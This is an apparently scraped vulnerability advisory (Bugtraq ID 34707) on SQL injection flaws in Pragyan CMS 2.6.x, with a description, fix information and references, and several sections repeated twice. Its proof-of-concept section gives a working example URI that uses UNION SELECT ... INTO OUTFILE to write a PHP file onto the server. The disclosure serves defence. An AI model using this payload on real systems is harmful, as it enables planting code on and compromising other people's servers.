Pragyan CMS Multiple SQL Injection Vulnerabilities
BID:34707
Info
Pragyan CMS Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 34707 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 24 2009 12:00AM |
| Updated: | Aug 09 2010 04:15PM |
| Credit: | Salvatore "drosophila" Fresta |
| Vulnerable: |
Pragyan CMS Pragyan CMS 2.6.4 Pragyan CMS Pragyan CMS 2.6.2 |
| Not Vulnerable: |
Pragyan CMS Pragyan CMS 3.0 |
Discussion
Pragyan CMS Multiple SQL Injection Vulnerabilities
Pragyan CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Pragyan CMS 2.6.4 is vulnerable; other versions may also be affected.
Pragyan CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Pragyan CMS 2.6.4 is vulnerable; other versions may also be affected.
Exploit / POC
Pragyan CMS Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URI is available:
http://www.example.com/path/?action=view&fileget=-1' UNION ALL SELECT 'evil_code',2,3,4,5,6,7 INTO OUTFILE '/path/evil.php'%23
Attackers can use a browser to exploit these issues.
The following example URI is available:
http://www.example.com/path/?action=view&fileget=-1' UNION ALL SELECT 'evil_code',2,3,4,5,6,7 INTO OUTFILE '/path/evil.php'%23
Solution / Fix
Pragyan CMS Multiple SQL Injection Vulnerabilities
Solution:
Updates are available; please see the references for more information.
Pragyan Cms Project Pragyan Cms 2.6.2
Pragyan Cms Project Pragyan Cms 2.6.4
Solution:
Updates are available; please see the references for more information.
Pragyan Cms Project Pragyan Cms 2.6.2
-
Pragyan CMS pragyanv3.0-alpha.tar.bz2
http://sourceforge.net/projects/pragyan/files/pragyanv3.0-alpha.tar.bz 2/download
Pragyan Cms Project Pragyan Cms 2.6.4
-
Pragyan CMS pragyanv3.0-alpha.tar.bz2
http://sourceforge.net/projects/pragyan/files/pragyanv3.0-alpha.tar.bz 2/download
References
Pragyan CMS Multiple SQL Injection Vulnerabilities
References:
References:
- Pragyan CMS Sourceforge Page (Pragyan CMS)
- Pragyan CMS 2.6.4 Multiple SQL Injection Vulnerabilities ("Salvatore \"drosophila\" Fresta"
- Re: Pragyan CMS 2.6.4 Multiple SQL Injection Vulnerabilities ([email protected])